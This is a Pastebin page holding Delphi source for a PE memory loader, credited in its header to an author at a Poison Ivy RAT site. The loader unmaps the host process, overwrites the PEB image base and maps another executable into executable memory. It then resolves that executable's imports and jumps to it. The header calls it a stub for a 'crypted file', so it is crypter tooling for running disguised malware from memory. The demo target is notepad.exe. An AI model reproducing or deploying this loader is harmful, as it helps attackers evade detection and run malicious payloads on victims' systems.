Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- program memexe;
- (*
- PE memory loader by shapeless (100108)
- www.poisonivy-rat.com
- Credits:
- * Some of the original code (webexe) by Aphex.
- * I used code from BTMemoryModule for the IAT loading;
- http://www.joachim-bauch.de/tutorials/load_dll_memory.html/en/view
- Pros:
- * No extra processes.
- Cons:
- * Only room for one crypted file.
- * Current version only fixes IAT!
- Todo:
- * Fix more Directories (currently I only fix IAT)!
- * Allocate sections with proper Protection!
- *)
- uses
- windows,
- classes;
- const
- (* for IAT mapping *)
- IMAGE_ORDINAL_FLAG32 = DWORD($80000000);
- type
- (* for IAT mapping *)
- PImageImportDescriptor = ^TImageImportDescriptor;
- _IMAGE_IMPORT_DESCRIPTOR = packed record
- OriginalFirstThunk: DWORD;
- TimeDateStamp: DWORD;
- ForwarderChain: DWORD;
- Name: DWORD;
- FirstThunk: DWORD;
- end;
- {$EXTERNALSYM _IMAGE_IMPORT_DESCRIPTOR}
- TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR;
- IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
- {$EXTERNALSYM IMAGE_IMPORT_DESCRIPTOR}
- PImageImportByName = ^TImageImportByName;
- _IMAGE_IMPORT_BY_NAME = packed record
- Hint: Word;
- Name: array[0..255] of char;
- end;
- {$EXTERNALSYM _IMAGE_IMPORT_BY_NAME}
- TImageImportByName = _IMAGE_IMPORT_BY_NAME;
- IMAGE_IMPORT_BY_NAME = _IMAGE_IMPORT_BY_NAME;
- {$EXTERNALSYM IMAGE_IMPORT_BY_NAME}
- PThreadData = ^TThreadData;
- TThreadData = record
- (* synchronization *)
- mainThreadID: dword;
- mainBaseAddr: pointer;
- (* the pe to load *)
- pDosHdr: PImageDosHeader;
- dwImageSize: dword;
- (* api references *)
- LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
- GetProcAddress: function( hModule: HMODULE;
- lpProcName: LPCSTR): FARPROC; stdcall;
- OpenThread: function( dwDesiredAccess: dword;
- bInheritHandle: bool;
- dwThreadId: dword): dword; stdcall;
- WaitForSingleObject: function(hHandle: THandle;
- dwMilliseconds: DWORD): DWORD; stdcall;
- CloseHandle: function(hObject: THandle): BOOL; stdcall;
- UnmapViewOfFile: function(lpBaseAddress: Pointer): BOOL; stdcall;
- VirtualAlloc: function( lpvAddress: Pointer;
- dwSize,
- flAllocationType,
- flProtect: DWORD): Pointer; stdcall;
- VirtualFree: function(lpAddress: Pointer;
- dwSize,
- dwFreeType: DWORD): BOOL; stdcall;
- RtlMoveMemory: procedure( pDest,
- pSource: pointer;
- dwLength: dword); stdcall;
- end;
- (* this stub must be relocatable! *)
- procedure loader_stub(ptd: PThreadData); stdcall;
- var
- hMainThread: THandle;
- pNTHdr: PImageNtHeaders;
- newImageBase,
- newEP: pointer;
- libHandle: THandle;
- pdThunkRef,
- pdFuncRef: ^DWORD;
- pImportDirectory: PImageDataDirectory;
- pImportDescriptor: PImageImportDescriptor;
- pThunkData: PImageImportByName;
- begin
- with ptd^ do
- begin
- (*
- --debug
- asm
- int 3
- end;
- *)
- (*
- wait for the main thread to exit before we
- free the memory
- *)
- hMainThread := OpenThread(SYNCHRONIZE, false, mainThreadID);
- if hMainThread <> 0 then
- begin
- WaitForSingleObject(hMainThread, INFINITE);
- CloseHandle(hMainThread);
- end;
- (*
- unmap the original PE.
- *)
- if UnmapViewOfFile(mainBaseAddr) then
- begin
- pNTHdr := PImageNtHeaders(integer(pDosHdr) + pDosHdr^._lfanew);
- (*
- Set new imagebase.
- Delphi inline asm cant handle
- structure references (store imgbase
- in local var).
- *)
- newImageBase := pointer(pNTHdr^.OptionalHeader.ImageBase);
- asm
- (*
- See disassembly of GetModuleHandle(0).
- *)
- // get addr of PEB
- mov eax,fs:[30h]
- mov ecx,newImageBase
- // assign the new imagebase
- mov [eax+8],ecx
- end;
- (*
- TODO: Fix section protection!
- *)
- VirtualAlloc( newImageBase,
- dwImageSize,
- MEM_RESERVE or MEM_COMMIT,
- PAGE_EXECUTE_READWRITE);
- RtlMoveMemory(newImageBase, pDosHdr, dwImageSize);
- (* lets start working on the live PE *)
- pNTHdr := PImageNtHeaders( dword(newImageBase) +
- dword(PImageDosHeader(newImageBase)^._lfanew));
- (* fix IAT *)
- pImportDirectory := PImageDataDirectory(@pNTHdr^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
- if pImportDirectory^.Size > 0 then
- begin
- pImportDescriptor := PImageImportDescriptor(dword(newImageBase) + pImportDirectory^.VirtualAddress);
- while (pImportDescriptor^.Name <> 0) do
- begin
- libHandle := LoadLibrary(PChar(dword(newImageBase) + pImportDescriptor^.Name));
- if libHandle <> INVALID_HANDLE_VALUE then
- begin
- if pImportDescriptor^.OriginalFirstThunk <> 0 then
- begin
- pdThunkRef := Pointer(dword(newImageBase) +
- pImportDescriptor^.OriginalFirstThunk);
- pdFuncRef := Pointer(dword(newImageBase) +
- pImportDescriptor^.FirstThunk);
- end else
- begin
- // no hint table
- pdThunkRef := Pointer(dword(newImageBase) +
- pImportDescriptor^.FirstThunk);
- pdFuncRef := Pointer(dword(newImageBase) +
- pImportDescriptor^.FirstThunk);
- end;
- while pdThunkRef^ <> 0 do
- begin
- if ((pdThunkRef^ and IMAGE_ORDINAL_FLAG32) <> 0) then
- begin
- pdFuncRef^ := dword(GetProcAddress(libHandle,
- PChar(pdThunkRef^ and $FFFF)));
- end else
- begin
- pThunkData := PImageImportByName(dword(newImageBase) + pdThunkRef^);
- pdFuncRef^ := dword(GetProcAddress(libHandle,
- PChar(@(pThunkData^.Name))));
- end;
- (* next entry *)
- inc(pdFuncRef);
- inc(pdThunkRef);
- end;
- (* next item *)
- inc(pImportDescriptor);
- end; (* if LoadLibr... *)
- end; (* while *)
- end; (* if has IAT *)
- (* calc new entry point *)
- newEP := Pointer( dword(newImageBase) +
- pNTHdr^.OptionalHeader.AddressOfEntryPoint);
- (* free the temp stuff (except this stub..) *)
- VirtualFree(pDosHdr, 0, MEM_RELEASE);
- VirtualFree(ptd, 0, MEM_RELEASE);
- asm
- // save EP
- mov eax,newEP
- // fix stack
- mov esp,ebp
- pop ebp
- jmp eax
- (*
- note:
- Next return address on the stack is
- ExitThread(eax);
- *)
- end;
- end; (* unmap *)
- end;
- end;
- (*
- use this dummy func to calculate the length of the
- loader_stub.
- *)
- procedure dummy_loader_stub; stdcall; begin end;
- procedure execPE(pDosHdr: PImageDosHeader);
- (*
- helper function.
- *)
- function getAlignedSize(dwSize, dwAlignment: dword): dword;
- begin
- if (dwSize mod dwAlignment) = 0 then
- Result := dwSize
- else
- Result := (((dwSize div dwAlignment) +1) *dwAlignment);
- end;
- var
- ptd: PThreadData;
- pNTHdr: PImageNtHeaders;
- pSecHdr,
- pTmpHdr: PImageSectionHeader;
- i: integer;
- dwAlignedHdrSize,
- dwSecSize,
- dwThreadID,
- dwLoaderStubSize: dword;
- hThread: THandle;
- ptmp,
- pLoaderStub: pointer;
- begin
- (* alloc the loader stub *)
- dwLoaderStubSize := dword(@dummy_loader_stub) - dword(@loader_stub);
- pLoaderStub := VirtualAlloc(nil,
- dwLoaderStubSize,
- MEM_RESERVE or MEM_COMMIT,
- PAGE_EXECUTE_READWRITE);
- CopyMemory( pLoaderStub,
- @loader_stub,
- dwLoaderStubSize);
- (* alloc and set up the loader stub thread data *)
- ptd := VirtualAlloc(nil,
- sizeof(ptd^),
- MEM_RESERVE or MEM_COMMIT,
- PAGE_READWRITE);
- ptd^.mainThreadID := GetCurrentThreadID;
- ptd^.mainBaseAddr := Pointer(GetModuleHandle(nil));
- ptd^.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
- ptd^.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');
- ptd^.OpenThread := GetProcAddress(GetModuleHandle('kernel32.dll'), 'OpenThread');
- ptd^.WaitForSingleObject := GetProcAddress(GetModuleHandle('kernel32.dll'), 'WaitForSingleObject');
- ptd^.CloseHandle := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CloseHandle');
- ptd^.UnmapViewOfFile := GetProcAddress(GetModuleHandle('kernel32.dll'), 'UnmapViewOfFile');
- ptd^.VirtualAlloc := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualAlloc');
- ptd^.VirtualFree := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualFree');
- ptd^.RtlMoveMemory := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlMoveMemory');
- pNTHdr := PImageNtHeaders(integer(pDosHdr) + pDosHdr^._lfanew);
- (* first section header *)
- pSecHdr := PImageSectionHeader( dword(pNTHdr^.FileHeader.SizeOfOptionalHeader) +
- dword(@pNTHdr^.OptionalHeader));
- (* get the last section header *)
- pTmpHdr := PImageSectionHeader( dword(pSecHdr) +
- dword(pNTHdr^.FileHeader.NumberOfSections-1) * sizeof(pTmpHdr^));
- (* calculate the image size *)
- ptd^.dwImageSize := getAlignedSize( pTmpHdr^.Misc.VirtualSize +
- pTmpHdr^.VirtualAddress,
- pNTHdr^.OptionalHeader.SectionAlignment);
- (* make a temporary copy of the PE *)
- ptd^.pDosHdr := VirtualAlloc( nil,
- ptd^.dwImageSize,
- MEM_COMMIT,
- PAGE_READWRITE);
- dwAlignedHdrSize := getAlignedSize( pNTHdr^.OptionalHeader.SizeOfHeaders,
- pNTHdr^.OptionalHeader.SectionAlignment);
- CopyMemory( ptd^.pDosHdr,
- pDosHdr,
- dwAlignedHdrSize);
- ptmp := Pointer(dword(ptd^.pDosHdr) + dwAlignedHdrSize);
- pTmpHdr := pSecHdr;
- for I := 0 to pNTHdr^.FileHeader.NumberOfSections - 1 do
- begin
- if pTmpHdr^.SizeOfRawData > 0 then
- begin
- if pTmpHdr^.Misc.VirtualSize > pTmpHdr^.SizeOfRawData then
- dwSecSize := pTmpHdr^.Misc.VirtualSize
- else
- dwSecSize := pTmpHdr^.SizeOfRawData;
- CopyMemory( ptmp,
- Pointer(dword(pDosHdr) + pTmpHdr^.PointerToRawData),
- dwSecSize);
- end;
- if pTmpHdr^.Misc.VirtualSize > 0 then
- begin
- inc(dword(ptmp),
- getAlignedSize( pTmpHdr^.Misc.VirtualSize,
- pNTHdr^.OptionalHeader.SectionAlignment)
- );
- end;
- inc(pTmpHdr);
- end; (* for loop *)
- (* execute the loader stub *)
- hThread := CreateThread(nil,
- 0,
- pLoaderStub,
- ptd,
- 0,
- dwThreadID);
- if hThread <> 0 then
- begin
- CloseHandle(hThread);
- end;
- (* exit main thread *)
- ExitThread(0);
- end;
- var
- m: TMemoryStream;
- begin
- m := TMemoryStream.Create;
- try
- m.LoadFromFile('C:\windows\system32\notepad.exe');
- execPE(m.Memory);
- finally
- m.free;
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement